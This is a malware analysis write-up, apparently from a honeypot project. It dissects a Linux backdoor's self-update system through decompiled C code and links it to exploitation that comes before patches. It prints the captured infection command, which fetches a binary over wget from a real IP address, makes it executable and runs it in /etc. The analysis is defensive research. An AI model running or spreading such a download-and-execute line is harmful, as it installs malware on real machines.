TTE=-1 Era: How Malware Self-Update Systems Enable Exploitation Before Patches

3 weeks ago 1

Executive Summary

Mandiant (Google Cloud) reported an unprecedented milestone in cybersecurity: the average Time-to-Exploit (TTE) reached -1 days for the first time in history. This negative value indicates that threat actors are now predominantly exploiting vulnerabilities before patches are available - a paradigm shift from the traditional n-day exploitation model.

alt text Brent Muir (2025), Madiant

But how is this possible? How can malware operators deploy zero-day exploits across thousands of compromised systems within hours of discovery?

This technical analysis answers that question by reverse-engineering a sophisticated malware that demonstrates the infrastructure behind the TTE=-1 era. Through examination of real decompiled code, we reveal a self-update mechanism capable of:

  • Updating exploit code in 3 seconds via in-place binary patching
  • Modifying C2 configurations without redeployment using encrypted zones
  • Deploying new capabilities to satellite modules through embedded tools
  • Maintaining persistence during updates with zero downtime

The malware’s architecture features:

  • Two dedicated memory zones (1024-byte “hard” zone for payloads, 512-byte “soft” zone for configuration)
  • Dual update modes (surgical patching vs. complete binary replacement)
  • Modular satellite tool system enabling rapid capability expansion

Key finding: The analyzed self-update mechanism reduces exploit deployment time from hours to seconds, enabling threat actors to weaponize zero-days faster than defenders can respond - directly explaining how the industry arrived at TTE=-1.

This research demonstrates that the negative TTE phenomenon is not simply about discovering vulnerabilities faster, but about building specialized infrastructure that can operationalize those discoveries at unprecedented speed.

Introduction

The analyzed malware presents a modular architecture with four distinct operational modes (Monitor, Beikong, Backdoor, Systool) and implements a sophisticated self-update mechanism that operates at the binary level, directly modifying specific sections of the executable file through hardcoded offsets.

The malware was captured by our community using Beelzebub, specifically on an SSH honeypot.

Below is the payload used by the malware to spread by exploiting lateral movement on a node exposed to the network, this attack was observed on our honeypots at 2025-10-09 21:10:20.

cd /etc;rm -f sshd;wget -t 1 http://194.59.31.74:34374/b/sshd;chmod 0755 sshd;./sshd

Update System Architecture:

alt text

Below are the complete details of the malware analysis. You will find C code obtained through reverse engineering of the malware’s assembly.

The analysis focuses exclusively on the malware’s multi-modal mechanism and its self-update system.

1. Update Mode Detection

The system uses a filename-based mechanism to determine whether to operate in update mode. The IsUpdateTemporary function checks the current process name:

bool _ZN8CSysTool17IsUpdateTemporaryEv(void) { int iVar1; undefined1 local_14 [4]; undefined1 local_10 [7]; undefined1 local_9; _ZNSaIcEC1Ev(&local_9); _ZNSsC1EPKcRKSaIcE(local_10,"update_temporary",&local_9); _ZNSaIcED1Ev(&local_9); _ZN8CUtility18GetCurrentPathFileEv(local_14); iVar1 = _ZNKSs7compareERKSs(local_10,local_14); _ZNSsD1Ev(local_14); _ZNSsD1Ev(local_10); return iVar1 == 0; }

This technique avoids conflicts during binary replacement and provides a simple but effective modal switching mechanism.

2. Entry Point and Operational Decision

In the malware’s main(), the decision between operational mode and update mode occurs explicitly:

cVar1 = _ZN8CSysTool17IsUpdateTemporaryEv(); if (cVar1 == '\0') { // Normal operational mode (Monitor/Beikong/Backdoor/Systool) if (g_iGatesType == 1) { _Z11MainBeikongv(); } else if (g_iGatesType < 2) { if (g_iGatesType == 0) { _Z11MainMonitorv(); } } else if (g_iGatesType == 2) { _Z12MainBackdoorv(); } else if (g_iGatesType == 3) { _Z11MainSystooliPPc(param_1,param_2); } } else { // Update mode _ZN8CSysTool8DoUpdateEiPPc(param_1,param_2); }

The mode check occurs before any other operation, ensuring that the update has absolute priority.

The System’s Core: DoUpdate()

The DoUpdate function is the nucleus of the self-update mechanism. Let’s analyze the complete decompiled code:

Phase 1: Daemonization

void _ZN8CSysTool8DoUpdateEiPPc(int param_1,int param_2) { char cVar1; int iVar2; // ... local variables ... iVar2 = daemon(1,0); if (-1 < iVar2) { _ZN8CUtility5SleepEi(3000);

Analysis:

The daemon(1,0) call transforms the process into a daemon. The first parameter set to 1 maintains the current directory without performing chdir(”/”), while the second parameter set to 0 causes the closure of stdin, stdout, and stderr. If daemonization fails by returning -1, the process terminates silently. The 3000ms (3 seconds) sleep serves to avoid race conditions during the daemon initialization phase.

Phase 2: Path Preparation and Configuration

_ZN8CUtility18GetCurrentPathFileEPKc(local_1c); _ZNSsC1Ev(local_20); _ZN8CUtility17GetModuleFullPathERSs(local_20); _ZNSsC1Ev(local_24); _ZNSsC1Ev(local_28);

The malware prepares several strings to manage paths:

  • local_1c: Current file path (“update_temporary”)
  • local_20: Full path of main module
  • local_24: String for encrypted data
  • local_28: String for function/command

Phase 3: Mode 5 - Encrypted Configuration Preparation

if (param_1 == 5) { _ZN8CUtility8GetDoFunEPKc(local_14,*(undefined4 *)(param_2 + 0xc)); _ZNSsaSERKSs(local_28,local_14); _ZNSsD1Ev(local_14); memcpy(local_234,_ZZN8CSysTool8DoUpdateEiPPcE6C.1202,0x200); local_284 = _ZNKSs5c_strEv(local_28); local_280 = g_iSoftStart; local_27c = g_iHardStart; local_278 = g_iFileSize; iVar2 = atoi(*(char **)(param_2 + 0x10)); local_274 = _ZN8CUtility5IntDeEi(iVar2); uVar3 = _ZNKSs5c_strEv(&g_strMonitorFile); sprintf(local_234,"%s:%d:%d:%d:%d:%s",uVar3,local_274,local_278,local_27c,local_280); _ZN7CDjfl876QQifu5EPKcS1_(local_10,local_234,"Google"); _ZNSsaSERKSs(local_24,local_10); _ZNSsD1Ev(local_10);

Critical analysis:

  1. Extracts a “function” from argument argv[3] via GetDoFun()
  2. Copies a 512-byte template buffer (0x200) from a global constant
  3. Prepares a formatted configuration string with:
  • g_strMonitorFile: File name to monitor
  • IntDe(argv[4]): Decoded integer parameter
  • g_iFileSize: Target file size
  • g_iHardStart: “Hard” zone offset
  • g_iSoftStart: “Soft” zone offset
  1. Encrypts the configuration using QQifu5() function with key “Google”
  2. Saves result in local_24

The string format suggests a structured configuration system where each component has specific meaning for the malware.

Phase 4: Binary Patching (Mode 5)

iVar2 = atoi(*(char **)(param_2 + 4)); if (iVar2 == 5) { local_28c = *(char **)(param_2 + 0xc); // Calculate argv[3] string length uVar4 = 0xffffffff; pcVar6 = local_28c; do { if (uVar4 == 0) break; uVar4 = uVar4 - 1; cVar1 = *pcVar6; pcVar6 = pcVar6 + 1; } while (cVar1 != '\0'); local_270 = ~uVar4 - 1; local_26c = *(undefined4 *)(param_2 + 0xc); local_268 = g_iHardStart; uVar3 = _ZNKSs5c_strEv(); _ZN7CFileOp10ModifyFileEPKcjiS1_i(uVar3, g_iHardStart, 0x400, *(char **)(param_2 + 0xc), local_270);

First modification - Hard Zone:

  • Function: CFileOp::ModifyFile()
  • Target: Current file
  • Offset: g_iHardStart (hardcoded global)
  • Size: 0x400 (1024 bytes)
  • Data source: argv[3] (new payload)
  • Length: Dynamically calculated with manual loop
local_264 = _ZNKSs6lengthEv(); local_260 = _ZNKSs5c_strEv(); local_25c = g_iSoftStart; uVar3 = _ZNKSs5c_strEv(); _ZN7CFileOp10ModifyFileEPKcjiS1_i(uVar3, g_iSoftStart, 0x200, local_260, local_264);

Second modification - Soft Zone:

  • Offset: g_iSoftStart (hardcoded global)
  • Size: 0x200 (512 bytes)
  • Source: local_24 (configuration encrypted with “Google”)
  • Length: Obtained with std::string::length()

Phase 5: Backdoor Directory Management

cVar1 = _ZN8CSysTool12IsUnderBDDirEv(); if (cVar1 != '\0') { uVar3 = _ZNKSs5c_strEv(); _ZN8CSysTool14HandleSystoolsEPKc(uVar3); }

If the malware detects it’s in a “backdoor directory”, it activates satellite tool management through HandleSystools().

Phase 6: Mode 6 - Complete Replacement

else { iVar2 = atoi(*(char **)(param_2 + 4)); if (iVar2 == 6) { uVar3 = _ZNKSs5c_strEv(); _ZN7CFileOp10RemoveFileEPKc(uVar3); local_258 = _ZNKSs5c_strEv(); uVar3 = _ZNKSs5c_strEv(); _ZN7CFileOp8C0pyFileEPKcS1_(uVar3, local_258);

Replacement process:

  1. RemoveFile(): Deletes current binary
  2. CopyFile(): Copies new version from main module path
  3. Applies same hard/soft zone modifications as mode 5

This is a more invasive operation but necessary for significant structural updates.

Phase 7: Updated Binary Execution

uVar3 = _ZNKSs5c_strEv(); _ZN8CSysTool13RunLinuxShellEPKc(uVar3);

The final function executes the just-updated binary, probably using system() or execve(), thus completing the update cycle.

This function is responsible for deploying and updating embedded tools:

void _ZN8CSysTool14HandleSystoolsEPKc(undefined4 param_1) { _ZN8CSysTool14GetSystoolFileEPKc(local_10,&DAT_081045e0); uVar2 = _ZNKSs5c_strEv(local_10); _ZN8CSysTool5MkdirEPKc(uVar2); for (local_c = 0; local_c < uaSystoolNum; local_c = local_c + 1) { _ZNSsC1Ev(); uVar2 = *(undefined4 *)(uaSystools + local_c * 4); _ZN8CUtility8GetFileAERSsPKcc(local_14, param_1, uVar2, '/');

Loop analysis:

  1. Creates systools directory if it doesn’t exist
  2. Iterates over global array uaSystools[] containing tool names
  3. For each tool:
  • Extracts embedded data from main binary using GetFileA()
  • The separator character '/' suggests an internal archive format
cVar1 = _ZN7CFileOp10FileExistsEPKc(); if (cVar1 != '\0') { uVar2 = _ZNKSs5c_strEv(); cVar1 = _ZN7CFileOp10FileExistsEPKc(uVar2); if (cVar1 != '\x01') { memcpy(local_818,_ZZN8CSysTool14HandleSystoolsEPKcE6C.1273,0x400); uVar3 = _ZNKSs5c_strEv(); uVar2 = *(undefined4 *)(uaSystools + local_c * 4); sprintf(local_818,"cp -f %s %s", uVar2, uVar3); system(local_818); }

Tool deployment:

  • Checks if embedded tool exists
  • Checks if not already present at destination
  • Uses cp -f via system() to copy tool
  • 1024-byte buffer (0x400) for command
uVar2 = *(undefined4 *)(uaSystools + local_c * 4); _ZN8CSysTool12ReleaseGatesEPKcS1_(uVar2, param_1); memcpy(local_418,_ZZN8CSysTool14HandleSystoolsEPKcE6C.1276,0x400); sprintf(local_418,"chmod 0755 %s", *(undefined4 *)(uaSystools + local_c * 4)); system(local_418);

Activation:

  1. Calls ReleaseGates() - probably configures/activates the tool
  2. Sets 0755 permissions (rwxr-xr-x) via chmod
  3. Uses system() again to execute command

Memory Zone Data Structure

Hard Zone (Offset: g_iHardStart, Size: 1024 bytes)

Offset: g_iHardStart (hardcoded runtime value) Size: 0x400 (1024 bytes) Content: argv[3] passed to update_temporary process ┌─────────────────────────────────────────┐ │ Bytes 0x000 - 0x3FF │ │ ──────────────────────────────────── │ │ Encrypted binary payload │ │ - Executable code │ │ - Malware core functions │ │ - Embedded exploits │ └─────────────────────────────────────────┘

Soft Zone (Offset: g_iSoftStart, Size: 512 bytes)

Offset: g_iSoftStart (hardcoded runtime value) Size: 0x200 (512 bytes) Content: Output of QQifu5(config, "Google") ┌─────────────────────────────────────────┐ │ Bytes 0x000 - 0x1FF │ │ ──────────────────────────────────── │ │ Encrypted configuration │ │ Format: "file:int:size:hard:soft" │ │ Encrypted with key: "Google" │ │ ──────────────────────────────────── │ │ - C2 server addresses │ │ - Credentials │ │ - Operational parameters │ │ - Files to monitor │ └─────────────────────────────────────────┘

Anti-Forensics Techniques Implemented

1. Zero Temporary Files

The code clearly shows that:

  • Data is written directly into target binary
  • Only artifact is “update_temporary” which executes and self-deletes

2. In-Place Modifications via ModifyFile()

_ZN7CFileOp10ModifyFileEPKcjiS1_i(path, offset, size, data, length)

3. Use of Hardcoded Global Variables

g_iSoftStart g_iHardStart g_iFileSize g_strMonitorFile

These variables are initialized at startup and contain precalculated offsets, avoiding runtime calculations that could be intercepted.

Complete Execution Flow

T+0ms → execve("update_temporary", argv, envp) T+0ms → main() called by __libc_start_main T+5ms → IsUpdateTemporary() → return true T+5ms → DoUpdate(argc, argv) invoked T+10ms → daemon(1, 0) - process becomes daemon T+3010ms → Sleep(3000) completed T+3015ms → GetCurrentPathFile() + GetModuleFullPath() T+3020ms → Configuration preparation (sprintf) T+3025ms → QQifu5(config, "Google") - encryption T+3030ms → ModifyFile(target, g_iHardStart, 0x400, argv[3], len) ↓ open(target, O_RDWR) ↓ lseek(fd, g_iHardStart, SEEK_SET) ↓ write(fd, data, 1024) T+3040ms → ModifyFile(target, g_iSoftStart, 0x200, encrypted, len) ↓ lseek(fd, g_iSoftStart, SEEK_SET) ↓ write(fd, encrypted_config, 512) T+3050ms → IsUnderBDDir() → true T+3055ms → HandleSystools(current_path) ↓ Mkdir(systools_dir) ↓ for each tool in uaSystools[]: ↓ GetFileA() - extract embedded tool ↓ system("cp -f ...") - copy tool ↓ ReleaseGates() - activate tool ↓ system("chmod 0755 ...") - permissions T+3500ms → RunLinuxShell(updated_binary) ↓ execve() or system() T+3505ms → New process starts in operational mode T+3505ms → update_temporary process terminates

Why Self-Update Mechanisms Are Critical in the Zero-Day Era

The malware’s sophisticated auto-update system becomes strategically essential in this context:

1. Rapid Exploit Integration

// Mode 5: Patch only the payload zone (1024 bytes) ModifyFile(target, g_iHardStart, 0x400, new_exploit_code, length);
  • The hard zone (1024 bytes) can contain exploit code
  • Enables deployment of zero-day exploits within minutes of discovery
  • No need to redeploy entire binary (stealth preservation)
  • Uses the new exploits in lateral movement attacks

2. Configuration Updates Without Redeployment

// Mode 5: Update C2 servers and parameters (512 bytes) ModifyFile(target, g_iSoftStart, 0x200, new_config_encrypted, length);
  • Update C2 infrastructure when domains are burned
  • Modify targeting parameters for new campaigns
  • All without touching the main codebase (evades detection)

Real-World Scenario: Zero-Day to Exploitation in Hours

Hypothetical timeline based on analyzed capabilities:

alt text

Before patch is even disclosed (TTE = -1), thousands of compromised systems are already exploiting the vulnerability.

Defense Implications in the TTE=-1 Reality

Traditional defenses are insufficient when:

  • Patches arrive AFTER exploitation begins
  • Malware can integrate zero-days in minutes
  • Updates happen silently via binary patching

Required defensive posture:

# Traditional approach (INSUFFICIENT) - Wait for CVE disclosure - Wait for patch availability - Deploy patches within SLA ALREADY EXPLOITED (TTE = -1) # Required approach (NECESSARY) - Assume breach mentality - Distribute honeypots across your infrastructure

Conclusion:

If you manage critical infrastructure, reaction time is no longer measured in days or hours. It’s a race against automated systems that deploy exploits while you’re still reading the CVE. The question is no longer “when will we patch?” but “how do we detect the intrusion before it happens?”

Beelzebub delivers rapid-response honeypot adaptation: when a new vulnerability emerges, our system reconfigures thousands of honeypots in just 1-2 seconds, creating an instant detection grid for zero-day exploits and dormant APTs before they can strike.

The Beelzebub team is dedicated to making the internet a better and safer place ❤️

Read Entire Article